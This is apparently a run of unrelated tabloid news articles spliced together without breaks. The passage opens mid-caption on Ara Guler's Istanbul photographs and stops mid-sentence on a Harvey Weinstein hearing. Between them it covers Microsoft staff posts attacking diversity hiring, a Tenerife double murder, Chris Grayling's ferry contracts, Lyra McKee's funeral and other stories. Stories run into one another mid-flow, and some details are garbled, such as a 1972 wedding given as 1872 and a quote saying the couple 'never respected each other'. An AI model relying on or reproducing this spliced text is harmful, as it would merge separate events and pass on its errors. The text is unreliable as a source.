Ayuansaray, Istanbul, 1957) In 1962, Guler was awarded the Master of Leica title in Germany and appeared in a special edition of Swiss Camera magazine - one of the most well-known photography publications in the world (pictured: Eminonu, Istanbul, 1954) Guler's images have been published by Time Life, Horizon and Newsweek (pictured left: A man and a woman parting through a ship window on the Galata quay. Right: Old Galata Bridge, Istanbul, 1956) He was presented the Presidency of the Republic of Turkey Culture and Arts Grand Award in 2005, as well as the Republic of Turkey Ministry of Culture and Tourism Culture and Arts Service Award in 2008 (pictured: Karakoy, Istanbul, 1958) The Ara Guler Exhibition at the Saatchi Gallery is now open, and will run until May 5 (pictured: Galatasary, 1960) Guler has been hailed by the British Journal of Photography as one of the seven greatest photographers in the world (pictured: Sehzadebasi, Istanbul, 1958) Throughout his career Guler documented life in his home city of Istanbul, capturing the everyday life from district to district (pictured: Pasabahce, 1951) In 1961, Guler was made head of the photography department of the Arab magazine, Hayat (pictured: Yedikule, Istanbul, 1969) Several Microsoft employees have been questioning whether diversity is important and slammed the tech giant for 'discriminatory hiring' against Asians and white men. The employees have been debating the company's pro-diversity push on an internal online message board meant for communicating with Microsoft's CEO Satya Nadella. Two posts that have been heavily argued were written by a female Microsoft program manager, Quartz reports. One of those posts questioned Microsoft's push to hire more women and minorities, arguing that it discriminates against white and Asian men. The employees have been debating the company's pro-diversity push on an internal online message board meant for communicating with Microsoft's CEO Satya Nadella It also criticizes the monetary incentives senior leadership are awarded if they hire female or minority employees. 'Does Microsoft have any plans to end the current policy that financially incentivizes discriminatory hiring practices? To be clear, I am referring to the fact that senior leadership is awarded more money if they discriminate against Asians and white men,' one post reads. 'I have an ever-increasing file of white male Microsoft employees who have faced outright and overt discrimination because they had the misfortune of being born both white and male. This is unacceptable,' she wrote in a follow up post on the thread. Another post on the message board suggests women aren't as suited to engineering roles as men are. It also says there is a 'misguided belief' that women should be working full-time now and there is something wrong if they choose not too. 'Many women simply aren't cut out for the corporate rat race, so to speak, and that's not because of 'the patriarchy,' it's because men and women aren't identical, and women are much more inclined to gain fulfillment elsewhere,' the employee's post read. 'We still lack any empirical evidence that the demographic distribution in tech is rationally and logically detrimental to the success of the business in this industry. We have a plethora of data available that demonstrate women are less likely to be interested in engineering at all than men, and it's not because of any *ism or *phobia or 'unconscious bias'- it's because men and women think very differently from each other, and the specific types of thought process and problem solving required for engineering of all kinds (software or otherwise) are simply less prevalent among women. 'This is an established fact. However, this established fact makes people very uncomfortable, because it suggests that the gender distribution in engineering might not actually be a problem (and thus women can no longer bleat about being victims of sexism in the workplace). Two posts that have been heavily argued were written by a female Microsoft program manager. One of those posts questioned Microsoft's push to hire more women and minorities, arguing that it discriminates against white and Asian men 'We must immediately cease the practice of attaching financial incentives and performance metrics to 'diversity hiring' - as long as we give more money and higher annual reviews explicitly for not hiring/promoting white men and Asians, this will continue to be a serious problem at the company.' According to Microsoft's recent diversity report, 87 percent of employees are Asian or white and 73 percent are men. Several employees told Quartz that the posts had been reported to human resources. The posts attracted more than 800 comments from employees who both agreed and disagreed with the arguments. Microsoft haven't commented on the specific posts but said three executives responded on the message board at the time. Some employees have criticized the tech-giant for not removing the posts. 'HR, Satya, all the leadership are sending out emails that they want to have an inclusive culture, but they're not willing to take any action other than talk about it,' one employee said. 'They allow people to post these damaging, stereotypical things about women and minorities, and they do nothing about it.' It comes after Google fired software engineer James Damore in 2017 after he wrote a controversial 10-page internal memo claiming that women were 'biologically' less likely to succeed in the realm of technology. Some female employees at Microsoft recently shared stories on the internal message board of harassment, discrimination and unequal pay and claimed the company had done nothing to resolve these issues. In response, the CEO sent out a company-wide email last week vowing a greater commitment to diversity and inclusion. 'I'm disappointed to hear about any behavior in our workplace that falls short of the diverse and inclusive culture we are striving to create... But I'm encouraged that people feel empowered to speak up and demand change,' Nadella wrote. 'This past year, we increased our commitment with a new core priority on inclusion for every employee. If you are not helping to create an inclusive culture, your rewards, your career trajectory and possibly even your employment will be impacted.' A man is dead and another is in a serious condition after two separate stabbing attacks in Melbourne. The man was fatally stabbed at Fawkner Park, in South Yarra, Melbourne's inner suburbs, about 8pm on Friday. Victoria Police said they are still investigating the circumstances surrounding the fatal attack. The man was fatally stabbed at Fawkner Park (pictured), in South Yarra, Melbourne's inner suburbs, at about 8pm on Friday The man, who was unable to be revived, is yet to be formally identified. Another man is in a serious but stable condition after a separate stabbing attack. The victim, who also has not been formally identified, was stabbed on Romsey Street in Reservoir, north of the CBD, about 7pm. The unknown attacker, dressed in dark clothing, fled the scene after the stabbing. The victim was transported to hospital with life-threatening injuries. His condition has since improved and he is in a serious but stable condition. Anyone with information on either attack is urged to contact Crime Stoppers. Transport secretary Chris Grayling, pictured, has faced a string of scandals and wanted to hold back an announcement on a new rail delay last year, emails have revealed Chris Grayling's headache over a 33million bill to settle a lawsuit over bungled Brexit ferry contracts is back today after P&O launched its own legal challenge against the Government. The Dover ferry giant believes the huge chunk of taxpayers' cash handed to its cross-Channel rival should be classed as illegal state aid - and will go to court to prove it. Eurotunnel agreed a 33million settlement to drop its claim over the 'secretive' way the Government awarded lucrative deals for ferry companies to run extra crossings in case of a No Deal. Transport Secretary Mr Grayling faced more resignation calls having already been left red-faced after the collapse of a 13.8million contract with one ferry firm, Seaborne Freight, after it emerged that it had no ships. His allies insisted it was 'unfair' to single him out for criticism as the contract had been decided on a 'cross-government' basis - but Labour and other begged to differ, calling him an 'international embarrassment'. Now P&O says the 33million paid to Eurotunnel to make improvements to its terminal put its business at a 'competitive disadvantage'. If it wins the case Eurotunnel may have to hand some or all of it back. A spokesman confirmed they are taking legal action and said: 'We also fully accept that it was prudent of the government to make contingency plans to protect international supply chains in the event of a hard Brexit. 'However, we do not believe that the payment of 33m of public money to Eurotunnel to settle its legal challenge to these plans is fair or reasonable. 'It is explicitly designed to be invested in the tunnel's infrastructure and if left unchallenged would put our services at a competitive disadvantage.' The contract with Seaborne Freight to provide extra ferries in the case of a No Deal Brexit was eventually cancelled (pictured is the Port of Ramsgate) A government spokesman said: 'We are confident we acted appropriately in reaching the agreement with Eurotunnel.' Famous Chris Grayling bungles Banning books for prisoners The controversial ban on parcels of books being sent to prisoners was condemned as 'unenlightened' when then Justice Secretary Chris Grayling introduced it in 2013. He claimed parcels being sent into prisons had been a vehicle for 'contraband' and there were not enough staff to check them all properly. Mr Grayling insisted prisoners could access books from jail libraries and could purchase more using money earned by working inside. He was removed as Justice Secretary when the all-Tory government was formed in May this year, with Michael Gove a former Education Secretary - taking his job. Seaborne Freight Mr Grayling's decision to award Seaborne Freight a contract worth 13.8 million to run services between Ramsgate and Ostend despite having no ships attracted widespread criticism. The DfT's decision was challenged by Eurotunnel, and on Friday the Government announced it had reached an agreement worth up to 33 million with the Channel Tunnel firm. Rail timetable chaos Mr Grayling faced a vote of no confidence but survived over Northern Rail's chaotic timetable collapse in June. Up to 770 trains were cancelled per day. He had rejected calls for Northern to be renationalised, although he accepted the situation experienced by passengers was 'unacceptable'. In a later appearance before the Commons Transport Select Committee, he raised eyebrows by insisting: 'I don't run the railways,' and instead blamed Network Rail. Advertisement Late last year, the Government awarded contracts worth 108million to three suppliers for extra freight capacity so vital supplies could still reach the UK in a No Deal Brexit. But in February, the Department for Transport was ridiculed after it terminated the deal with Seaborne Freight. Eurotunnel accused ministers of a 'distortionary and anti-competitive' tendering process and claimed it was given no chance to compete. Hours before the case was due to start, the Government said it had paid the firm 33million to settle out of court. Mr Grayling put a positive spin on the deal, saying it would ensure the Channel Tunnel is 'ready for a post-Brexit world'. The Transport Secretary has faced a string of scandals in the past year where critics accused him of 'gross incompetence'. He faced calls to resign in February after handing a 13.8million contract to a ferry company with no ships in the event of a No Deal Brexit. In December he was accused of failing to 'get a grip' on the drone crisis that shut down Gatwick Airport for three days as tens of thousands of passengers tried to get away for Christmas. And he kept his job despite criticism of his handling of the Thameslink and Northern Rail timetable crisis last year, which saw 770 trains a day cancelled, earning him the nickname 'failing Grayling' because of the chaos. This week it was revealed the under-pressure Transport Secretary ordered officials to hold-off on announcing delays to a major rail project so he could avoid criticism from MPs. Leaked emails suggest Mr Grayling wanted the announcement to be delayed by 24 hours to dodge a grilling in the Commons. In January last year Network Rail bosses informed him that a multi-million pound electrification scheme in the North West of England would not be completed on time. This email leaked to the Yorkshire Post says the SoS - a reference to Mr Grayling - said the announcement should be made soon - 'but not before' a debate in Parliament where he would be grilled by MPs An email from an unnamed senior official at the Department for Transport said Mr Grayling 'would prefer the announcement were sooner rather than later but not before the Opposition Day debate on Rail tomorrow.' They suggested the announcement was 'best choreographed' for Thursday, January 11 - and news the line upgrade between Preston and Manchester would be delayed was broken that day. Labour's transport spokesman Andy McDonald accused Mr Grayling of 'contempt for the House of Commons' after the emails were uncovered by the Yorkshire Post. A dog owner has been charged after she allegedly attempted to burn her pooch alive because 'she didn't like him'. Dominiqua Parrish, 29, is accused of grabbing her small golden dog by the scruff of the neck and hurling it into the trash compactor - which she apparently believed was the incinerator. The New Yorker, from Far Rockaway, Queens, will appear in court for attempted aggravated cruelty to animals, second degree criminal mischief, and overdriving, torturing or injuring an animal, the District Attorney has announced. Dominiqua Parrish, 29, is accused of grabbing her small golden dog by the scruff of the neck and hurling it into the trash compactor (stock image) - which she apparently believed was the incinerator Security cameras reportedly caught Parrish dragging the dog through her apartment building's corridors in the early hours of January 29, according to NBC New York. Prosecutors supposedly said that was seen tossing the pooch out of her front door at 2.50am before hauling it to the seventh floor garbage shoot room where she re-emerged without the animal. And during her police interview, Parrish extraordinarily claimed she tried to rid herself of the dog because she wasn't fond of him. The New Yorker, from Far Rockaway (general view), Queens, will appear in court for attempted aggravated cruelty to animals, second degree criminal mischief, and overdriving, torturing or injuring an animal She said: 'I threw the dog down the incinerator because I dont like him.' A building employee reportedly rescued the pooch from the compactor and later vets treated the injured animal for cuts, bruises and a fractured rib. The media outlet has said that Parrish will face her next court appearance on June 26. A husband accused of the brutal murder of his wife and son, ten, lured his family to an isolated cave on the pretext of Easter egg hunt and picnic and then 'stoned them to death'. The man's other son, aged five, managed to escape after running in a different direction from the footpath his family had used to get to the cave on the Canary island of Tenerife. According to sources, the little boy who escaped the massacre does not know that his mother and brother are dead or that his father, aged 43, has been accused of killing them. The husband, aged 43, is accused of luring his wife and ten-year-old son to an isolated cave in Tenerife on the pretext of Easter egg hunt and picnic. Pictured: The Spanish Civil Guard scan the area during the search for the German woman and her son Once inside the cave, the husband is alleged to have stoned his wife and son to death. Pictured: Tenerife police search the area after the German woman and her ten-year-old son go missing in Adeje, Tenerife The mayor of Adeje, Jose Miguel Rodriguez Fraga (centre with mic) today led a minute of silence in tribute to the German woman and her ten-year-old son killed in Adeje, Tenerife 'He will be told either by his family or by psychologists,' said a police spokesman. His father is due to appear before a court in Tenerife today and has been named by the Spanish press as Thomas H. Police arrested the father, who also is German, in an apartment in downtown Adeje. The man had reportedly moved to the island on a permanent basis while the woman and their two sons had arrived on Monday to visit. His dead wife has been named as Silvia. The accused, originally from Saxony-Anhalt, Germany, is reportedly refusing to co-operate with police. A Spanish Civil Guard helicopter flies over the area during the search operation for the mother and her child The husband, who has been named by Spanish press as Thomas H, is set to appear before a court in Tenerife today Mayor of Adeje, Jose Miguel Rodriguez Fraga, speaks to local press during the search operation for the mother and her ten-year-old son The bodies of the woman and ten-year-old were found by police in an isolated cave in the south of Tenerife on Wednesday. They had been missing for 24 hours and more than 100 people had been searching for them once the alert had been raised. The younger boy was found near the coast by a local resident, distressed and crying and speaking only German. He appears to be the sole witness of what happened. His father had reportedly prepared a 'picnic' and had taken his three relatives on a hike through the upper area of Adeje, telling them Easter eggs were hidden in the cave. Full details of how the mother and son died have yet to be released but it is understood they were beaten with stones and had suffered fractured skulls as well as other serious injuries. Vehicles belonging to the Spanish Civil Guard comb the area during the search for the missing woman and her child On April 25, mayor of Adeje, Jose Miguel Rodriguez Fraga, addressed Spanish media on the murder of the German woman and her child This was confirmed by delegate of the Government in the Canary Islands, Juan Salvador Leon. According to the Mayor of Adeje, Jose Miguel Rodriguez Fraga all the indications suggest premeditation although the husband is insisting they were alive when he left them. The couple were reported to be in the midst of a separation. The husband was living in Adeje and the mother and two children had travelled there from Germany to visit him. Adeje is today holding its third day of mourning and flags on municipal buildings have been flying a half mast, with all official events suspended. The maternal grandparents of the child who survived have flown from from Germany to look after him. As he is a key witness in the investigation, he not be able to leave the island immediately. A search for the child and his mother began on Tuesday after hikers discovered his five-year-old brother alone near the town of Adeje. Members of an emergency team stand on a road leading to a cave at the base of the Teide volcano earlier this week after the mother and son are found Members of the Spanish Civil Guard block the road leading to a cave at the base of the Teide volcano Members of the Spanish Civil Guard work on a road leading to a cave at the base of the Teide volcano The boy said he escaped after he saw large quantities of blood, Spain's private Europa Press news agency reported. More than 100 emergency workers and police, aided by helicopters, participated in the search. Violence against women is a persistent problem in Spain, where more than 990 women have died at the hands of their partners or former partners since 2003, when official Spanish records on such slayings began. The couple admitted to DailyMailTV that they are happier living apart but maintain an intimate friendship and bond of marriage They have been divorced for 44 years, but George Hamilton and his ex wife Alana Stewart admit that they live like a married couple today. The couple said they have discussed remarrying - but are happier living apart while enjoying the close intimate friendship and bond of marriage, they revealed in an exclusive interview with DailyMailTV. However, model and actress Alana confirmed she remains 'in love' with George and the 73-year-old admitted that she would be heartbroken if the film and TV actor found another partner today. Displaying her passion, she announced 'I would kill the b***h' who steals George from her life. George confessed that should she ever want a new husband then he would demand to move in with them. George Hamilton and Alana Stewart have been divorced since 1975 - 44 years ago, yet still remain close friends, revealing to DailyMailTV they live like a married couple Alana admitted she is still 'in love' with George and told DailyMailTV she would 'kill the b****' who steals George from her life During an on-camera chat, the star couple, who divorced in 1975, could not keep their hands off one another as they opened up about their loving bond. Alana admitted that George, who has appeared in a string of movies since the 1960s, remains a step father to her two grown kids from her failed marriage to Rod Stewart. Tanned George could not stop making jokes about his ex wife, but yet got serious confirming he missed the model and mother of three on a daily basis when they were apart. George and Alana spoke as they cosied up and joked for our camera on the red carpet for the world premiere of The Cavern Club: The Beats Goes On for BritWeek LA's opening night gala event. Asked about tying the knot for a second time, he could not stop joking about popping the question for a second time saying: 'I thought about it and then there was a guide dog.' He then played up to cameras, while playing down his feelings for Alana, who asked 'is this a proposal?' before he fired back: 'I go deaf in this ear. I am so sorry.' George said: 'We have talked about marriage many times. In retrospect our relationship has been just as good. And even when we were apart you would bring your other ex husband to dinner and I got along fine with him.' Joking about her second husband Rod Stewart. George added: 'He seemed like a nice fella. He had an accent.' Alana and George appear to have grown closer since they opened up their homes for cameras on E!'s reality show Stewarts & Hamiltons in 2015 for one season The couple admitted that they are happier living apart but maintain and intimate friendship and bond of marriage, sharing their son Ashley Alana confirmed that their relationship is a success thanks to independence, saying: 'I know the secret - we do not live together' George and Alana may be together in private, but publicly he still plays coy about his closeness to his former wife. Asked how he would feel, should Alana find love again, he reacted: 'No I wouldn't be heartbroken, whatever makes her happy. She would let me move in. You would let me move in wouldn't you?' Alana's second husband was Rod Stewart. She says their children see George as a step father The two time divorcee looked upset and added that if George found a new lady: 'I would feel an empty space in my life. And I would probably kill the b***' George added: 'She is tough. We have been good friends and we will remain good friends and we are there for each other's children.' Alana confirmed that their relationship is a success thanks to independence 'I know the secret - we do not live together.' George chimed in: 'You start with the divorce and then you think ''Jesus, there is something I am missing today'', and then you realize it is your ex wife. So you call up your ex wife and say ''what are you doing'' - they say they are busy and all of a sudden you are jealous. Then you realize it is jealousy for the dog groomer. 'So we go over and interact. We still have a family life, but we live our own lives.' Revealing that their dates cause squabbles, he joked: 'I am always late, because she is picking me up. I used to drive when we were married. ' Alana smiled: 'I run a tight ship. And he says ''I have got to try to do better.''' George boasted: 'The truth of the matter is that we really do have a wonderful relationship and with cell phones it is even better,because we can talk to each other and not have to be there.' Alana added: 'The other thing truthfully is he has always made me laugh and I think I make him laugh and that is the most important thing. 'And in the end is if you have a friendship, care about each other and have a good time together you can make each other laugh.' Alana praised George for his generous and kind-hearted nature, which meant they stayed close even though their 1972 nuptials only lasted three years. 'The most important thing when you have a divorce especially when you have a child, which we do is to stay friends and we have always managed to do that. And the truth is after all these years we are like family. 'I have his back and I know he has mine. We have our son Ashley and my other two kids Sean and Kimberly think of him as a step father, even though it is in reverse. He is a great person and I have a lot of love and respect for him.' Admitting the pair, holding hands, has worked through their post divorce problems, she continued: 'You just have to remember what you loved about the person and remember the positives not the negatives and you have to move forward. The most important thing in life is friendship, love and caring about other people.' 'We have talked about marriage many times. In retrospect our relationship has been just as good,' the couple said. Pictured in 2005 at a Vanity Fair Oscar Party The pair made the comments at the world premiere of BritWeek 2019's screening of 'The Cavern Club: The Beat Goes On,' a documentary hosted by John Lennon's sister, Julia Baird, paying tribute to the 'cradle of British pop music' George remarked that the pair remain close as 'we never did anything little to each other or hurtful. We never respected each other. And there are times in life where people have to go in their own direction even if it is a vacation - so we took a couple of years off.' Alana confirmed: 'We never fought over anything. We had an amicable divorce. We did not fight over silverware and furniture.' George cheekily kicked back: 'We fight day and night.' Alana chucked: 'You see why it lasts because we do not live together,' George could not stop throwing out one liners and spoke of living in separate homes: 'You get time to get your cut man to fix you up. If you have got a good make up man it makes you feel better.' George could not even dishing up jokes about how they publicly look more in love than in their 70s heyday. George cracked the gag: 'The agency sent me over, and said she would be blonde, pretty and it worked out.' Alana posted a photo in 2015 of their informal wedding in 1872. They stayed close even though their nuptials only lasted three years Alan and George appear to have grown closer since they opened up their homes for cameras on E!'s reality show Stewarts & Hamiltons. The 2015 one season run blended families of Alana and her children Kimberly Stewart, Ashley Hamilton and Sean Stewart with George. On the show George upset Alana when boasting he was ready to find a new lover. The soap opera legend announced it was important that he searches for 'women of substance.' However as playboy George headed out on dates, he admitted that 'I felt like I was cheating on her.' Since then George has not seriously chased any other women and speaks daily to Alana. The pair attended the world premiere of BritWeek 2019's world premiere screening of 'The Cavern Club: The Beat Goes On,' a documentary hosted by John Lennon's sister, Julia Baird, paying tribute to the 'cradle of British pop music.' After the documentary screening, they joined stars like Nigel Lythgoe and Priscilla Presley to see a show from the Cavern Club Beatles, the first and only resident band endorsed by the Cavern Club. Northern Ireland's rowing political parties will meet for talks for the first time in more than a year - days after the priest at murdered Lyra McKee's funeral lambasted them. An agreement has been reached to hold a string of meetings next month, Prime Minister Theresa May and Irish Taoiseach Leo Varadkar have said in a joint statement. Power-sharing talks failed last time in a row over Sinn Fein's wish for an Irish language act and the DUP's opposition to same-sex marriage and piling on pressure Irish Foreign Secretary Simon Coveney said today: 'The excuses need to end.' And Northern Ireland Secretary Karen Bradley said: 'Lyra symbolised the new Northern Ireland, and her tragic death cannot be in vain. All of us must take inspiration from what Lyra achieved in her life and work even harder to make Northern Ireland a brighter, more peaceful and prosperous place for everyone.' The news of talks, two years and three months after the Stormont Assembly collapsed, came days after the funeral of Miss McKee, whose murder by the New IRA increased pressure on leaders to break the political deadlock. At her funeral Father Martin Magill sparked a standing ovations when he demanded to know why it had taken the horror of her death to unite politicians and urged them to protect the Good Friday agreement. May and Varadkar said today they had heard 'the unmistakable message to all political leaders that people across Northern Ireland want to see a new momentum for political progress. We agree that what is now needed is actions and not just words from all of us who are in positions of leadership'. Taoiseach Leo Varadkar and Prime Minster Theresa May, pictured in Belfast this week, have announced talks in Northern Ireland to restore the Stormont Assembly will start after the local elections in the UK Arlene Fosters said yesterday journalist Lyra McKee was murdered New IRA dissidents in Londonderry to further 'their own warped political agenda' - not because of a 'political vacuum' The coffin of journalist Lyra McKee is taken out of the church after the funeral as Lyra McKee's partner Sara Canning (behind, L) follows In a joint press conference in Belfast with Irish foreign minister Simon Coveney, Northern Ireland Secretary Karen Bradley announced that talks on the restoration of power-sharing institutions will resume on May 7. Ms Bradley said the 'sickening' murder of journalist Lyra McKee had 'deeply shocked everyone across the world'. 'Lyra was a brilliant, talented journalist, a role model for many, who always fought to make Northern Ireland a better place,' said Ms Bradley. Priest Father Martin Magill told mourners: 'I commend our political leaders for standing together. Why in God's name does it take the death of a 29-year-old woman with her whole life in front of her?' 'Since Lyra's death, communities across Northern Ireland and the political spectrum have come together, united in condemnation at this murderous act. 'They have delivered a clear message - the people responsible for this act of terrorism have absolutely nothing to offer Northern Ireland and have no place in society.' She added: 'Lyra symbolised the new Northern Ireland and her tragic death cannot be in vain. 'All of us must take inspiration from what Lyra achieved in her life and work even harder to make Northern Ireland a brighter, more peaceful and prosperous place for everyone.' Mr Coveney said: 'This can be done. When you think about the agreement that was made 21 years ago and the obstacles they needed to overcome then, the challenges we face today pale into the background in comparison. 'Yes, we have difficult choices to make. The polarisation of politics in Northern Ireland, particularly in the last 12 months, poses real challenges. There are trust issues - let's not pretend there isn't - and we will have to try to overcome them. 'But having spoken to all the parties in the last few days, I believe there is an appetite to try and I can tell you the two governments are determined to assist that process in a way that will get it across the line.' Mr Coveney said the governments had deliberately not set a deadline for the completion of talks, as this would not be 'helpful'. He said: 'Time is short here and we will need to make this process work within weeks, rather than months.' He said that it was hoped that progress will have been made by the time of the planned review at the end of May and that 'hopefully shortly after that we can find agreement'. Irish Minister for Foreign Affairs Simon Coveney and Northern Ireland Secretary Karen Bradley spoke in Belfats today and Ms Bradley said: 'Lyra symbolised the new Northern Ireland, and her tragic death cannot be in vain' DUP leader Arlene Foster and Sinn Fein's leader Mary Lou McDonald were among those giving a standing ovation to priest Father Martin Magill who questioned why it took a tragedy such as this to bring political leaders together Most of Northern Ireland's paramilitary groups have disarmed since a 1998 peace accord ended three decades of sectarian conflict. But a small number of dissidents refused to abandon violence, and have targeted police and prison officials in bombings and shootings. Security officials have repeatedly warned that political drift in Northern Ireland - along with uncertainty around Brexit - could embolden those bent on reviving violence. Arlene Foster yesterday denied Miss McKee was murdered because of the 'political vacuum' in Northern Ireland. The DUP leader looked uncomfortable as Mrs Foster sat next to Sinn Fein leaders Michelle O'Neill and Mary Lou McDonald at the Protestant St Anne's Cathedral in Belfast, and they were also forced to stand and clap. Father Martin Magill received a spontaneous standing ovation as he called her senseless killing a 'huge injustice' and said he 'dared to hope' something so awful as Lyra's murder could be a 'doorway to a new beginning'. Mrs Foster said today 'I don't accept that the violence that caused Lyra's death was caused by a political vacuum. It was caused by people who wanted to use violence to further their own warped political agenda. That's why Lyra is dead'. She also said she sympathised with Lyra McKee's partner, but said the party's stance on gay marriage will not change. She told RTE's Morning Ireland: 'We have a long standing policy which hasn't changed. That remains the position of the party. 'That doesn't mean I cannot sympathise and empathise with Sara and say to her that we feel her love. Her loss was all of our loss because this was a young woman who was doing great things in journalism and living her life in a city that she adopted. 'You shouldn't conflate the two issues of empathy and sympathy and a political issue which is the definition of marriage.' Father Martin Magill said yesterday he 'dared to hope' something so awful as Lyra's murder could be a 'doorway to a new beginning'. He said: 'Since Thursday night we have seen the coming together of many people in various places and the unifying of the community against violence. I commend our political leaders for standing together in Creggan on Good Friday.' He then added: 'I am, however, left with a question: 'Why in God's name does it take the death of a 29-year-old woman with her whole life in front of her to get us to this point?' Miss McKee was gunned down while observing rioting in Londonderry. She was standing next to a police patrol when she was struck by a bullet. The New IRA terrorist group has confessed that its members killed her. Yesterday's congregation included politicians from across Ireland's political divide, including the heads of Sinn Fein and the Democratic Unionist Party, whose power-sharing deal has broken down, leaving Northern Ireland without a working government. Miss McKee's family who are Catholic said they chose the cathedral for the funeral because of its reputation as a 'shared space' in the divided city. Theresa May, who missed Prime Minister's Questions to attend the two-hour service, sat in the front row on one side of the cathedral, flanked by Irish president Michael D Higgins and Irish prime minister Leo Varadkar. Jeremy Corbyn sat a couple of rows behind. Father Magill also called on Miss McKee's murderers to follow her example of 'the pen is mightier than the sword'. He quoted a friend of Miss McKee's who said: 'We have had enough. There is a younger generation coming up in the town and they don't need guns put in their hands. They need jobs, they need a better health service and education. They need a life.' As the 1,000-strong congregation broke into applause, Father Magill addressed her killers, saying: 'I plead with you to take the road of non-violence to achieve your political ends.' Theresa May, Ireland's Prime Minister Leo Varadkar (right) and Britain's Secretary of State for Northern Ireland Karen Bradley attend the funeral of journalist Lyra McKee Miss McKee's partner Sara Canning, 35, cries at the service of thanksgiving for the life of the 29-year-old journalist. Mrs Foster said the DUP's stance on gay marriage remains unchanged A map which shows the timings of the riots in Londonderry. Miss McKee was shot in the head by a gunman firing indiscriminately at police Miss McKee's death on the republican Creggan housing estate came as a mob threw fireworks and petrol bombs as they rioted in the streets on Thursday night. Miss McKee's mother Joan, 68, brothers Gary, 47, and David, 41, sisters Joan Hunter, 46, Nichola Corner, 44, and Mary Crossan, 39, sat in the front row of the other side of the cathedral. They were joined by other relatives including Miss McKee's great-niece Ava, four, and the partner she had hoped to marry Sara Canning, 35. Mrs Corner told the congregation how the death of 'our wee Lyra', the youngest of the six siblings, will leave an 'unfillable hole in our mum's life'. But she hoped her sister's lasting legacy would lead to people trying to create a world where 'labels are meaningless', where 'every single person is valued' and 'where every single child gets the chance to grow up and to make their dreams come true'. Quoting Miss McKee herself, Mrs Corner said: 'We must change our own world one piece at a time. Now let's get to work.' Many friends of Miss McKee, who was a campaigner for LGBT rights, wore Harry Potter-themed T-shirts, scarves and badges to the service in honour of her lifelong love of JK Rowling's books. Outside, a crowd of several hundred people applauded as it was driven away for a private burial in a hearse with rainbow-coloured flowers on its roof which spelled out the words 'Team Lyra'. Donald Trump is aiming to strike a major nuclear deal with both Russia and China - it has been revealed. During his January address to the nation the President hinted that a landmark nuclear deal was currently being built as the current treaty 'New START' is set to expire in 2021. 'Perhaps we can negotiate a different agreement, adding China and others, or perhaps we can't,' Trump said. 'In which case, we will outspend and out-innovate all others by far.' Scroll down for video Trump hinted during his January address to the nation that he is aiming to strike a deal with both Russia and China A White House official meanwhile said Trump's team were 'giving him options' on possible future deals ahead of a possible renegotiation. 'The President has made clear that he thinks that arms control should include Russia and China and should include all the weapons, all the warheads, all the missiles,' the official said. 'We have an ambition to give the President options as quickly as possible to give him as much space on the calendar as possible.' 'This is something that no administration has tried,' the senior official added. 'But I would argue no administration has tried what [Trump] tried with North Korea for example.' Trump said Friday he also welcomes the roles of Russia and China in negotiating with North Korea over its nuclear arsenal. On Friday, Trump also said he looked forward to receiving help from China and Russia in dealing with North Korea 'I appreciate that Russia and China are helping us,' he told reporters at the White House. Russian President Vladimir Putin held a first summit with North Korean leader Kim Jong Un on Thursday in a move seen as a response to the failure of a Kim-Trump meeting in Hanoi in February, where talks broke down without any agreement. Trump indicated that he does not see China and Russia as rivals in the struggle to influence North Korea and that they are all on the same page. 'China is helping us because I think they want to. They don't need nuclear weapons right next to their country,' Trump said. 'I think we're doing very well with North Korea. A lot of progress is being made,' he added. 'I appreciated President Putin's statement yesterday. He wants to see it done also. I think there is a lot of excitement for getting a deal done with North Korea.' A former student of an Alabama high school was taken into custody on Friday, after police say the boy came to the campus armed with a loaded gun to shoot an ex-classmate he'd been feuding with. The student, a 17-year-old black male, is said to have walked into McAdory High School, in Birmingham, sometime after 7am on Friday morning. Police were summoned to the scene after administrators and students at the school said they spotted the teenager acting suspiciously on campus. The former student hasn't attended the school since December of 2018. It's understood that he was sent to an alternative school but later dropped out. McAdory High School was placed on lockdown on Friday morning, after a former student allegedly came onto campus with a loaded handgun According to Sgt. James Perry, the suspect had been involved in a long-running dispute with a student currently studying at McAdory High. Police say they believe teen was coming to the school to shoot him. A 'soft lockdown' of the area was immediately issued by the Jefferson County Sheriffs department. The suspect was found hiding in a restroom where deputies arrested him without incident. Nobody was injured in the ordeal. McAdory has since resumed normal operations, following the quick apprehension of the suspect. JCSO on scene at McAdory High following an incident this morning. Told a former student walked in with a handgun this morning. Sheriffs deputies found him in the bathroom and arrested him. Lockdown lifted pic.twitter.com/4ZPE98kV1T Alex Derencz (@AlexDerencz) April 26, 2019 The Sheriff's department have said the teen - who has not been named because he's a minor - could face a number of charges, including making a terrorist threat, criminal trespassing, carrying a pistol without a license and being in possession of a pistol at school. 'Because the threat was properly reported to our school administration, we went on lockdown, the situation was quickly resolved by the Jefferson County Sheriffs Department, and the normal school schedule has resumed,' said the schools spokeswoman Whitlee Lusk, to AL.com. 'The safety of our students, faculty, and staff is our top priority and we will continue to work with law enforcement as they continue to investigate.' Advertisement Harvey Weinstein, 67, could not help but laugh and smile as he headed into Manhattan Supreme Court on Friday afternoon, just hours after the press was banned from his pre-trial hearing. He left in smiles too, with the news that he trial that was set for June had now been pushed back to September. Weinstein looked his wane and wrinkly self otherwise, but the same could not be said of his legal team. The defense looked markedly different on Friday due to the addition of his two new female attorneys, Marianne Bertuna and Diana Fabi Samson. It is known that prosecutors detailed their plan to have several women who have accused Weinstein of sexual assault take the stand during the trial at the hearing on Friday. As soon as Judge James Burke issued his ruling to ban media from court, lawyers for the AP and New York Times rushed over to the appellate court in hopes of getting an emergency order to halt that decision. Scroll down for video Happy guy: Harvey Weinstein is seen laughing as he arrives at court with his legal team after a judge banned the press from the proceedings Formation: Harvey Weinstein appeared in court on Friday with his two new female attorneys, Marianne Bertuna (right in blue) and Diana Fabi Samson (left) Hey Jose: They were joined by Jose Baez (front left) and Arthur Aidala, who is Bertuna's husband Unkempt: It is expected that the hearing on Friday will be closed to the press after both the defense and prosecution filed motions asking seal the proceedings (Weinstein above) The two new attorneys on the case were joined by Weinstein's other lawyers on Friday, Jose Baez and Arthur Aidala, who is Bertuna's husband. Baez famously defended Casey Anthony and Aaron Hernandez while Samson worked for the Manhattan District Attorneys office, whose team of lawyers she will be facing off against in this case. Bertuna argued on Friday that the proceedings must be conducted under seal to 'prevent tainted information from going to the press to further harm Mr. Weinstein's constitutional rights.' She also implored of the judge to 'limit the damage that has been caused [to her client's right to a fair trial] by the insatiable media frenzy.' Weinstein had attempted to have the charges against him dismissed in a hearing back in December, but that motion was denied by the judge. Weinstein is seen cracking a smile as he enters court. The hearing on Friday was closed off to the press Weinstein returns from lunch on Friday. The hearing was closed off to the press but it is known that prosecutors detailed their plan to have several women who have accused 